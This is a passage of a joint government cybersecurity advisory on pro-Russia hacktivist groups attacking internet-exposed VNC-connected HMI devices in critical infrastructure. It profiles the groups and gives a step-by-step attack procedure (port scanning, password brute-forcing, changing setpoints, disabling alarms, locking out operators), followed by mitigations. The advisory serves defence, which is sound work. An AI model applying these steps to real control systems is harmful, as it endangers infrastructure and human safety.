<li>Czech Republic National Centre Against Terrorism, Extremism, and Cyber Crime (NCTEKK)</li>
<li>French National Cybercrime Unit – Gendarmerie Nationale (UNC)</li>
<li>French National Jurisdiction for the Fight Against Organized Crime (JUNALCO)</li>
<li>German Federal Office for Information Security (BSI)</li>
<li>Italian State Police (PS)</li>
<li>Latvian State Police (VP)</li>
<li>Lithuanian Criminal Police Bureau (LKPB)</li>
<li>New Zealand National Cyber Security Centre (NCSC-NZ)</li>
<li>Romanian National Police (PR)</li>
<li>Spanish Civil Guard (GC)</li>
<li>Spanish National Police (CNP)</li>
<li>Swedish Polisen (SC3)</li>
<li>United Kingdom National Cyber Security Centre (NCSC-UK)</li>
</ul>
<p>The authoring organizations assess pro-Russia hacktivist groups are conducting less sophisticated, lower-impact attacks against critical infrastructure entities, compared to advanced persistent threat (APT) groups. These attacks use minimally secured, internet-facing virtual network computing (VNC) connections to infiltrate (or gain access to) OT control devices within critical infrastructure systems. Pro-Russia hacktivist groups—Cyber Army of Russia Reborn (CARR), Z-Pentest, NoName057(16), Sector16, and affiliated groups—are capitalizing on the widespread prevalence of accessible VNC devices to execute attacks against critical infrastructure entities, resulting in varying degrees of impact, including physical damage. Targeted sectors include <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/water-and-wastewater-sector" title="Water and Wastewater Systems">Water and Wastewater Systems</a>, <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/food-and-agriculture-sector" title="Food and Agriculture Sector">Food and Agriculture</a>, and <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/energy-sector" title="Energy Sector">Energy</a>.</p>
<p>The authoring organizations encourage critical infrastructure organizations to implement the recommendations in the <a href="https://www.cisa.gov/#Mitigations" title="Mitigations"><strong>Mitigations </strong></a>section of this advisory to reduce the likelihood and impact of pro-Russia hacktivist-related incidents. For additional information on Russian state-sponsored malicious cyber activity, see CISA’s <a href="https://www.cisa.gov/topics/cyber-threats-and-advisories/advanced-persistent-threats/russia" title="Russia Threat Overview and Advisories">Russia Threat Overview and Advisories</a> webpage.</p>
<p>Download the PDF version of this report:</p>





<div class="c-file">
    <div class="c-file__download">
    <a href="https://www.cisa.gov/sites/default/files/2025-12/aa25-343a-pro-russia-hacktivists-conduct-attacks_0.pdf" class="c-file__link" target="_blank">Pro-Russia Hacktivists Conduct Opportunistic Attacks Against US and Global Critical Infrastructure</a>
    <span class="c-file__size">(PDF,       1.53 MB
  )</span>
  </div>
</div>
<h2><strong>Background and Development of Pro-Russia Hacktivist Groups</strong></h2>
<p>Over the past several years, the authoring organizations have observed pro-Russia hacktivist groups conducting cyber operations against numerous organizations and critical infrastructure sectors worldwide. The escalation of the Russia-Ukraine conflict in 2022 significantly increased the number of these pro-Russia groups. Consisting of individuals who support Russia’s agenda but lack direct governmental ties, most of these groups target Ukrainian and allied infrastructure. However, among the increasing number of groups, some appear to have associations with the Russian state through direct or indirect support.</p>
<h3><strong>Cyber Army of Russia Reborn</strong></h3>
<p>The authoring organizations assess that the Russian General Staff Main Intelligence Directorate (GRU) Main Center for Special Technologies (GTsST) military unit 74455—tracked in the cybersecurity community under several names (see<strong> </strong><a href="https://www.cisa.gov/#AppB" title="Appendix B"><strong>Appendix B: Additional Designators Used for Cited Groups</strong></a>)—is likely responsible for supporting the creation of CARR —also known as “The People’s Cyber Army of Russia”—in late February or early March of 2022. Actors suspected to be from GRU unit 74455 likely funded the tools CARR threat actors used to conduct distributed denial-of-service (DDoS) attacks through at least September 2024.</p>
<p>In April 2022, the group began using a new Telegram channel featuring the name “CyberArmyofRussia_Reborn” to organize and plan group actions. The channel creators recruited actors to use CARR as an unattributable platform for conducting cyber activities beneath the level of an APT, aimed at deterring anti-Russia rhetoric. CARR threat actors presented themselves as a group of pro-Russia hacktivists supporting Russia’s stance on the Ukrainian conflict, and they soon began claiming responsibility for DDoS attacks against the U.S. and Europe for supporting Ukraine.</p>
<p>CARR documented these actions through embellished images and videos shared on their social media channels, promoting Russian ideology, disseminating talking points, and publicizing leaked information from hacks attributed to Russian state threat actors.</p>
<p>In late 2023, CARR expanded their operations to include attacks on industrial control systems (ICS), claiming an intrusion against a European wastewater treatment facility in October 2023. In November 2023, CARR targeted human-machine interface (HMI) devices, claiming intrusions at two U.S. dairy farms.</p>
<p>The authoring organizations assess that by late September 2024, CARR channel administrators became dissatisfied with the level of support and funding provided by the GRU. This dissatisfaction led CARR administrators and an administrator from another hacktivist group, NoName057(16), to create the Z-Pentest group, employing the same tactics, techniques, and procedures (TTPs) as CARR but separate from GRU involvement.</p>
<h3><strong>NoName057(16)</strong></h3>
<p>The authoring organizations assess that the Center for the Study and Network Monitoring of the Youth Environment (CISM), established on behalf of the Kremlin, created NoName057(16) as a covert project within the organization. Senior executives and employees within CISM developed and customized the NoName057(16) proprietary DDoS tool <code>DDoSia</code>, paid for the group’s network infrastructure, served as administrators on NoName057(16) Telegram channels, and selected DDoS targets.</p>
<p>Active since March 2022, NoName057(16) has conducted frequent DDoS attacks against government and private sector entities in North Atlantic Treaty Organization (NATO) member states and other European countries perceived as hostile to Russian geopolitical interests. The group operates primarily through Telegram channels and used GitHub, alongside various websites and repositories, to host <code>DDoSia</code> and share materials and TTPs with their followers. </p>
<p>In 2024, NoName057(16) began collaborating closely with other pro-Russia hacktivist groups, operating a joint chat with CARR by mid-2024. In July 2024, NoName057(16) jointly claimed responsibility with CARR for an alleged intrusion against OT assets in the U.S. The high degree of cooperation with CARR likely contributed to the formation of Z-Pentest, which is composed of actors and administrators from both teams, in September 2024.</p>
<h3><strong>Z-Pentest</strong></h3>
<p>Established in September 2024, Z-Pentest is composed of members from CARR and NoName057(16). The group specializes in OT intrusion operations targeting globally dispersed critical infrastructure entities. Additionally, the group uses “hack and leak” operations and defacement attacks to draw attention to their pro-Russia messaging. Unlike other pro-Russia hacktivist groups, Z-Pentest largely avoids DDoS activities, claiming OT intrusions as attempts to garner more attention from the media.</p>
<p>Shortly after Z-Pentest’s inception, the group announced alliances with CARR and NoName057(16), possibly to leverage the other groups’ subscribers to grow the new channel. In March 2025, Z-Pentest posted evidence claiming OT device intrusions to their channel using a NoName057(16) cyberattack campaign hashtag. Similarly, in April 2025, Z-Pentest shared a video purporting defacement of an HMI by changing system names to NoName057(16) and CARR references. Z-Pentest continues to create new alliances with other groups, like Sector16, to continue growing their subscriber base and incidentally propagate TTPs with new partners.</p>
<h3><strong>Sector16</strong></h3>
<p>Formed in January 2025, Sector16 is a novice pro-Russia hacktivist group that emerged through collaboration with Z-Pentest. Sector16 actively maintains an online presence, including a public Telegram channel where they share videos, statements, and claims of compromising U.S. energy infrastructure. These communications often align with pro-Russia narratives and reflect their self-proclaimed support for Russian geopolitical objectives.</p>
<p>Members of Sector16 may have received indirect support from the Russian government in exchange for conducting specific cyber operations that further Russian strategic goals. This aligns with broader Russian cyber strategies that involve leveraging non-state threat actors for certain cyber activities, adding a layer of deniability.</p>
<h2><strong>Technical Details</strong></h2>
<p><strong>Note:</strong> This advisory uses the MITRE ATT&amp;CK<sup>®</sup> <a href="https://attack.mitre.org/versions/v18/matrices/enterprise/" title="Matrix for Enterprise framework" data-entity-type="external">Matrix for Enterprise framework</a>, version 18. See the <a href="https://www.cisa.gov/#MITRE" title="MITRE ATT&amp;CK Tactics and Techniques"><strong>MITRE ATT&amp;CK Tactics and Techniques</strong></a> section of this advisory for a table of the threat actors’ activity mapped to MITRE ATT&amp;CK tactics and techniques.</p>
<h3><strong>TTP Overview</strong></h3>
<p>Pro-Russia hacktivist groups employ easily disseminated and replicated TTPs across various entities, increasing the likelihood of widespread adoption and escalating the frequency of intrusions. These groups have limited capabilities, frequently misunderstanding the processes they aim to disrupt. Their apparent low level of technical knowledge results in haphazard attacks where actors intend to cause physical damage but cannot accurately anticipate actual impact. Despite these limitations, the authoring organizations have observed these groups willfully cause actual harm to vulnerable critical infrastructure.</p>
<p>Pro-Russia hacktivist groups use the TTPs in this Cybersecurity Advisory to target virtual network computing (VNC)-connected HMI devices. These groups are primarily seeking notoriety with their actions. While they have caused damage in some instances, they regularly make false or exaggerated claims about their attacks on critical infrastructure to garner more attention. They frequently misrepresent their capabilities and the impacts of their actions, portraying minor incursions as significant breaches, but such incursions can still lead to lost time and resources for operators remediating systems.</p>
<p>Additionally, pro-Russia hacktivists use an opportunistic targeting methodology. They leverage superficial criteria, such as victim availability and existing vulnerabilities, rather than focusing on strategically significant entities. Their lack of strategic focus can lead to a broad array of targets, ranging from water treatment facilities to oil well systems. Pro-Russia hacktivists have demonstrated a pattern of frequently taking advantage of the widespread availability of vulnerable VNC connections. While system owners typically use VNC connections for legitimate remote system access functions, threat actors can maliciously use these connections to broadly target numerous platforms and services. Consequently, these groups can indiscriminately compromise critical infrastructure entities, including those in the <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/water-and-wastewater-sector" title="Water and Wastewater Sector">Water and Wastewater</a>, <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/food-and-agriculture-sector" title="Food and Agriculture Sector" data-entity-type="external">Food and Agriculture</a>, and <a href="https://www.cisa.gov/topics/critical-infrastructure-security-and-resilience/critical-infrastructure-sectors/energy-sector" title="Energy Sector">Energy</a> Sectors.</p>
<p>Pro-Russia hacktivist groups have successfully targeted supervisory control and data acquisition (SCADA) networks using basic methods, and in some cases, performed simultaneous DDoS attacks against targeted networks to facilitate SCADA intrusions. As recently as April 2025, threat actors used the following unsophisticated TTPs to access networks and conduct SCADA intrusions:</p>
<ul>
<li>Scan for vulnerable devices on the internet [<a href="https://attack.mitre.org/versions/v18/techniques/T0883/" target="_blank" title="T0883" data-entity-type="external">T0883</a>] with open VNC ports [<a href="https://attack.mitre.org/versions/v18/techniques/T1595/002/" target="_blank" title="T1595.002" data-entity-type="external">T1595.002</a>].</li>
<li>Initiate temporary virtual private server (VPS) [<a href="https://attack.mitre.org/versions/v18/techniques/T1583/003/" target="_blank" title="T1583.003" data-entity-type="external">T1583.003</a>] to execute password brute force software.</li>
<li>Use VNC software to access hosts [<a href="https://attack.mitre.org/versions/v18/techniques/T1021/005/" target="_blank" title="T1021.005" data-entity-type="external">T1021.005</a>].</li>
<li>Confirm connection to the vulnerable device [<a href="https://attack.mitre.org/versions/v18/techniques/T0886/" target="_blank" title="T0886" data-entity-type="external">T0886</a>].</li>
<li>Brute force the password, if required [<a href="https://attack.mitre.org/versions/v18/techniques/T1110/003/" target="_blank" title="T1110.003" data-entity-type="external">T1110.003</a>].</li>
<li>Gain access to HMI devices [<a href="https://attack.mitre.org/versions/v18/techniques/T0883/" target="_blank" title="T0883" data-entity-type="external">T0883</a>], typically with default [<a href="https://attack.mitre.org/versions/v18/techniques/T0812/" target="_blank" title="T0812" data-entity-type="external">T0812</a>], weak, or no passwords [<a href="https://attack.mitre.org/versions/v18/techniques/T0859/" target="_blank" title="T0859" data-entity-type="external">T0859</a>].</li>
<li>Log the confirmed vulnerable device IP address, port, and password.</li>
<li>Using the HMI graphical interface [<a href="https://attack.mitre.org/versions/v18/techniques/T0823/" target="_blank" title="T0823" data-entity-type="external">T0823</a>], capture screen recordings or intermittent screenshots while conducting the following actions, intending to affect productivity and cause additional costs [<a href="https://attack.mitre.org/versions/v18/techniques/T0828/" target="_blank" title="T0828" data-entity-type="external">T0828</a>]:
<ul>
<li>Modify usernames/passwords [<a href="https://attack.mitre.org/versions/v18/techniques/T0892/" target="_blank" title="T0892" data-entity-type="external">T0892</a>];</li>
<li>Modify parameters [<a href="https://attack.mitre.org/versions/v18/techniques/T0836/" target="_blank" title="T0836" data-entity-type="external">T0836</a>];</li>
<li>Modify device name [<a href="https://attack.mitre.org/versions/v18/techniques/T0892/" target="_blank" title="T0892" data-entity-type="external">T0892</a>];</li>
<li>Modify instrument settings [<a href="https://attack.mitre.org/versions/v18/techniques/T0831/" target="_blank" title="T0831" data-entity-type="external">T0831</a>];</li>
<li>Disable alarms [<a href="https://attack.mitre.org/versions/v18/techniques/T0878/" target="_blank" title="T0878" data-entity-type="external">T0878</a>];</li>
<li>Create loss of view (a technique that mandates local hands-on operator intervention) [<a href="https://attack.mitre.org/versions/v18/techniques/T0829/" target="_blank" title="T0829" data-entity-type="external">T0829</a>]; and/or</li>
<li>Device restart or shutdown [<a href="https://attack.mitre.org/versions/v18/techniques/T0816/" target="_blank" title="T0816" data-entity-type="external">T0816</a>].</li>
</ul>
</li>
<li>Disconnect from the device, ending the VNC connection.</li>
<li>Research the compromised device company after the intrusion [<a href="https://attack.mitre.org/versions/v18/techniques/T1591/" target="_blank" title="T1591" data-entity-type="external">T1591</a>].</li>
</ul>
<h4><strong>Propagation</strong></h4>
<p>To reach a wider audience, pro-Russia hacktivist groups work together, amplify each other’s posts, create additional groups to amplify their own posts, and likely share TTPs. For example, Z-Pentest jointly claimed intrusion of a U.S. system with Sector16. Sector16 later began posting additional intrusions for which the group claimed sole responsibility. It is likely that these and similar groups will continue to iterate and share these methods to disrupt critical infrastructure organizations.</p>
<h4><strong>Reconnaissance and Initial Access</strong></h4>
<p>The threat actors’ intrusion methodology is relatively unsophisticated, inexpensive to execute, and easy to replicate. These pro-Russia hacktivist groups abuse popular internet-scraping tools, such as <code>Nmap</code> or <code>OPENVAS</code>, to search for visible VNC services and use brute force password spraying tools to access devices via known default or otherwise weak credentials. Threat actors typically search for these services on the default port <code>5900</code> or other nearby ports (<code>5901-5910</code>). Their goal is to gain remote access to HMI devices connected to live control networks.</p>
<p>Once threat actors obtain access, they manipulate available settings from the graphical user interface (GUI) on the HMI devices, such as arbitrary physical parameter and setpoint changes, or conduct defacement activities. Because pro-Russia hacktivist groups seem to lack sector-specific expertise or cyber-physical engineering knowledge, they currently cannot reliably estimate the true impact of their actions. Regardless of outcome, pro-Russia hacktivist groups often post images and screen recordings to their social media platforms, boasting the compromises and exaggerating impacts to garner attention from their peers and the media.</p>
<h4><strong>Impact</strong></h4>
<p>While pro-Russia hacktivist groups currently demonstrate limited ability to consistently cause significant impact, there is a risk that their continued attacks will result in further harm or grievous physical consequences. Attacks have not yet caused injury; however, the attacks against occupied factories and community facilities demonstrate a lack of consideration for human safety.</p>
<p>Victim organizations reported that the most common operational impact caused by these threat actors is a temporary loss of view, necessitating manual intervention to manage processes. However, any modifications to programmatic and systematic procedures can result in damage or disruption, including substantial labor costs from hiring a programmable logic controller programmer to restore operations, costs associated with operational downtime, and potential costs for network remediation.</p>
<h2><a class="ck-anchor"><strong>MITRE ATT&amp;CK Tactics and Techniques</strong></a></h2>
<p>See <a href="https://www.cisa.gov/#Table1" title="Table 1"><strong>Table 1</strong></a> to <a href="https://www.cisa.gov/#Table10" title="Table 10"><strong>Table 10</strong></a> for all referenced threat actor tactics and techniques in this advisory. For assistance with mapping malicious cyber activity to the MITRE ATT&amp;CK framework, see CISA and MITRE ATT&amp;CK’s <a href="https://www.cisa.gov/news-events/news/best-practices-mitre-attckr-mapping" title="Best Practices for MITRE ATT&amp;CK Mapping">Best Practices for MITRE ATT&amp;CK Mapping</a> and CISA’s <a href="https://github.com/cisagov/Decider/" title="Decider Tool">Decider Tool</a>.</p>
<p><a class="ck-anchor"></a></p>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 1. Reconnaissance</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><strong>Technique Title</strong></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Gather Victim Organization Information</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T1591/" target="_blank" title="T1591" data-entity-type="external">T1591</a></td>
<td>Threat actors use information available on the internet to determine what systems they believe they have compromised and post the information on their social media. This methodology frequently leads to the threat actors misidentifying their claimed victims.</td>
</tr>
<tr>
<td>Active Scanning: Vulnerability Scanning</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T1595/002/" target="_blank" title="T1595.002" data-entity-type="external">T1595.002</a></td>
<td>Threat actors use open source tools to look for IP addresses in target countries with visible VNC services on common ports.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 2. Resource Development</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><strong>Technique Title</strong></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Acquire Infrastructure: Virtual Private Server</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T1583/003/" target="_blank" title="T1583.003" data-entity-type="external">T1583.003</a></td>
<td>Threat actors use virtual infrastructure to obfuscate identifiers.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 3. Initial Access</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><strong>Technique Title</strong></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Internet Accessible Device</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0883/" target="_blank" title="T0883" data-entity-type="external">T0883</a></td>
<td>Threat actors gain access through less secure HMI devices exposed to the internet.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 4. Persistence</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><strong>Technique Title</strong></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Valid Accounts</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0859/" target="_blank" title="T0859" data-entity-type="external">T0859</a></td>
<td>Threat actors use password guessing tools to access legitimate accounts on the HMI devices.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 5. Credential Access</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><strong>Technique Title</strong></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Brute Force: Password Spraying</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T1110/003/" target="_blank" title="T1110.003" data-entity-type="external">T1110.003</a></td>
<td>Threat actors use tools to rapidly guess common or simple passwords.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 6. Lateral Movement</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><strong>Technique Title</strong></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Default Credentials</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0812/" target="_blank" title="T0812" data-entity-type="external">T0812</a></td>
<td>Threat actors seek and build libraries of known default passwords for control devices to access legitimate user accounts.</td>
</tr>
<tr>
<td>Remote Services</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0886/" target="_blank" title="T0886" data-entity-type="external">T0886</a></td>
<td>Threat actors leverage VNC services to access system HMI devices.</td>
</tr>
<tr>
<td>Remote Services: VNC</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T1021/005/" target="_blank" title="T1021.005" data-entity-type="external">T1021.005</a></td>
<td>Threat actors hunt VNC-enabled devices visible on the internet and connect with remote viewer software.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 7. Execution</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><strong>Technique Title</strong></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Graphical User Interface</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0823/" target="_blank" title="T0823" data-entity-type="external">T0823</a></td>
<td>Threat actors interact with HMI devices via GUIs, attempting to modify control devices.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 8. Inhibit Response Function</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><strong>Technique Title</strong></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Device Restart/Shutdown</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0816/" target="_blank" title="T0816" data-entity-type="external">T0816</a></td>
<td>While threat actors claim to turn off HMIs, it is possible that operators (not the threat actors) turn the devices off during incident response.</td>
</tr>
<tr>
<td>Alarm Suppression</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0878/" target="_blank" title="T0878" data-entity-type="external">T0878</a></td>
<td>Threat actors use HMI interfaces to clear alarms caused by their activity and alarms already present on the system at the time of their intrusion.</td>
</tr>
<tr>
<td>Change Credential</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0892/" target="_blank" title="T0892" data-entity-type="external">T0892</a></td>
<td>Threat actors change the usernames and passwords of HMI devices in operator lockout attempts, usually resulting in a loss of view and operators switching to manual operations.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 9. Impair Process Control</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Technique Title</th>
<th role="columnheader">ID</th>
<th role="columnheader">Use</th>
</tr>
</thead>
<tbody>
<tr>
<td>Modify Parameter</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0836/" target="_blank" title="T0836" data-entity-type="external">T0836</a></td>
<td>Threat actors attempt to change upper and lower limits of operational devices as available from the HMI.</td>
</tr>
<tr>
<td>Unauthorized Command Message</td>
<td><a href="https://attack.mitre.org/techniques/T0855/" target="_blank" title="T0855" data-entity-type="external">T0855</a></td>
<td>Threat actors attempt to send unauthorized command messages to instruct control system assets to perform actions outside of their intended functionality, causing possible impact.</td>
</tr>
</tbody>
</table>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em>Table 10. Impact</em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist"><a class="ck-anchor"><strong>Technique Title</strong></a></th>
<th role="columnheader"><strong>ID</strong></th>
<th role="columnheader"><strong>Use</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>Loss of Productivity and Revenue</td>
<td><a href="https://attack.mitre.org/versions/v18/techniques/T0828/" target="_blank" title="T0828" data-entity-type="external">T0828</a></td>
<td>Threat actors purposefully attempt to impact productivity and create additional costs for the affected entities.</td>
</tr>
<tr>
<td>Loss of View</td>
<td><a href="https://attack.mitre.org/versions/v15/techniques/T0829/" target="_blank" title="T0829" data-entity-type="external">T0829</a></td>
<td>Threat actors change credentials on HMI devices, preventing operators from modifying processes remotely. </td>
</tr>
<tr>
<td>Manipulation of Control</td>
<td><a href="https://attack.mitre.org/versions/v15/techniques/T0831/" target="_blank" title="T0831" data-entity-type="external">T0831</a></td>
<td>Threat actors change setpoints in processes, impacting the efficiency of operations for those specific processes.  </td>
</tr>
</tbody>
</table>
<h2><strong>Incident Response</strong></h2>
<p>If organizations find exposed systems with weak or default passwords, they should assume threat actors compromised the system and begin the following incident response protocols:</p>
<ol>
<li><strong>Determine which hosts were compromised and isolate them</strong> by quarantining or taking them offline.</li>
<li><strong>Initiate threat hunting activities to scope the intrusion</strong>. Collect and review artifacts, such as running processes/services, unusual authentications, and recent network connections.</li>
<li><strong>Reimage compromised hosts</strong>.</li>
<li><strong>Provision new account credentials</strong>.</li>
<li><strong>Report the compromise to CISA, FBI, and/or NSA</strong>. See the <a href="https://www.cisa.gov/#Contact" title="Contact Information"><strong>Contact Information</strong></a> section of this advisory.</li>
<li><strong>Harden the network to prevent additional malicious activity</strong>. See the <a href="https://www.cisa.gov/#Mitigations" title="Mitigations "><strong>Mitigations </strong></a>section of this advisory for guidance.</li>
</ol>
<h2><a class="ck-anchor"><strong>Mitigations</strong></a></h2>
<h3><strong>OT Asset Owners and Operators</strong></h3>
<p>The authoring organizations recommend organizations implement the mitigations below to improve your organization’s cybersecurity posture based on the threat actors’ activity. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. Visit CISA’s <a href="https://www.cisa.gov/cross-sector-cybersecurity-performance-goals" title="CPGs">CPGs webpage</a> for more information on the CPGs, including additional recommended baseline protections.</p>
<ul>
<li><strong>Reduce exposure of OT assets to the public-facing internet.</strong> When connected to the internet, OT devices are easy targets for malicious cyber threat actors. Many devices can be found by searching for open ports on public IP ranges with search engine tools to target victims with OT components [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#SecureInternetFacingDevices3S" title="CPG 3.S">CPG 3.S</a>].
<ul>
<li><strong>Asset owners should use attack surface management services </strong>and web-based search platforms to scan the internet. This mitigation can help identify if there are VNC systems exposed within the IP ranges they own, especially for connections set up by third parties.<br><strong>Note:</strong> For more information on attack surface management, see CISA’s <a href="https://www.cisa.gov/resources-tools/resources/exposure-reduction" title="Internet Exposure Reduction Guidance">Internet Exposure Reduction Guidance</a>, CISA’s <a href="https://www.cisa.gov/cyber-hygiene-services" title="Cyber Hygiene Services">Cyber Hygiene Services</a> for U.S. critical infrastructure, and NSA’s <a href="https://www.nsa.gov/Portals/75/documents/resources/everyone/Attack%20Surface%20Management%20copy.pdf" target="_blank" title="Attack Surface Management" data-entity-type="external">Attack Surface Management</a> for the U.S. Defense Industrial Base.</li>
<li><strong>Implement network segmentation between IT and OT networks.</strong> Segmenting critical systems and introducing a demilitarized zone (DMZ) for passing control data to enterprise logistics reduces the potential impact of cyber threats and the risk of disruptions to essential OT operations [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#ImplementLogicalPhysicalNetworkSegmentation3I" title="CPG 3.I">CPG 3.I</a>].</li>
<li><strong>Consider implementing a firewall and/or virtual private network</strong> if exposure to the internet is necessary for controlling access to devices.
<ul>
<li>Consider disabling public exposure by default and implementing time-limited remote access to reduce the amount of time systems are exposed.</li>
<li>Restrict and monitor both inbound and outbound traffic at OT perimeter firewalls. Configure OT perimeter firewalls to enforce a default-deny policy for all traffic. Asset owners should explicitly permit authorized destinations and protocols based on operational requirements.</li>
<li>Implement strict egress filtering to prevent unauthorized data exfiltration or command-and-control callbacks.</li>
<li>Regularly audit firewall rulesets and monitor outbound traffic patterns for anomalies indicative of threat actor activity, such as beaconing or unexpected protocol usage.</li>
</ul>
</li>
</ul>
</li>
<li><strong>Adopt mature asset management processes</strong>, including mapping data flows and access points. Generating a complete picture of both OT and IT assets provides visibility to operators and management, allowing organizations to monitor and assess deviations for criticality [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#ManageOrganizationalAssets2A" title="CPG 2.A">CPG 2.A</a>].
<ul>
<li><strong>Keep remote access services updated </strong>with the latest version available and ensure all systems and software are up to date with patches and necessary security updates.
<ul>
<li>Keep VNC systems updated with the latest version available.</li>
</ul>
</li>
<li><strong>Refer to the joint </strong><a href="https://www.cisa.gov/resources-tools/resources/foundations-ot-cybersecurity-asset-inventory-guidance-owners-and-operators" title="Foundations for OT Cybersecurity: Asset Inventory Guidance for Owners and Operators"><strong>Foundations for OT Cybersecurity: Asset Inventory Guidance for Owners and Operators</strong></a> to help with reducing cybersecurity risk by identifying which assets within their environment should be secured and protected.</li>
</ul>
</li>
<li><strong>Ensure OT assets use robust authentication procedures.</strong>
<ul>
<li>Many devices lack robust authentication and authorization. Devices with weak authentication are vulnerable targets to threat actors using credential theft techniques.</li>
<li>Implement MFA where possible. Where MFA is not feasible, use strong, unique passwords. Apply password standards for operator-accessible services on underlying OT assets, as well as network devices protecting those services. This is especially important for services that require internet accessibility [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#ChangingDefaultPasswords3A" title="CPG 3.A">CPG 3.A</a>] [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#EstablishMinimumPasswordStrength3B" title="CPG 3.B">CPG 3.B</a>] [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#CreateUniqueCredentials3C" title="CPG 3.C">CPG 3.C</a>] [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#ImplementMultifactorAuthentication3F" title="CPG 3.F">CPG 3.F</a>].</li>
<li>Establish an allowlist that permits only authorized device IP addresses and/or media access control addresses. The allowlist can be refined to operator working hours to further obstruct malicious threat actor activity; organizations are encouraged to establish monitoring and alerting for access attempts not meeting these criteria [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#MonitorUnsuccessfulAutomatedLoginAttempts3E" title="CPG 3.E">CPG 3.E</a>].</li>
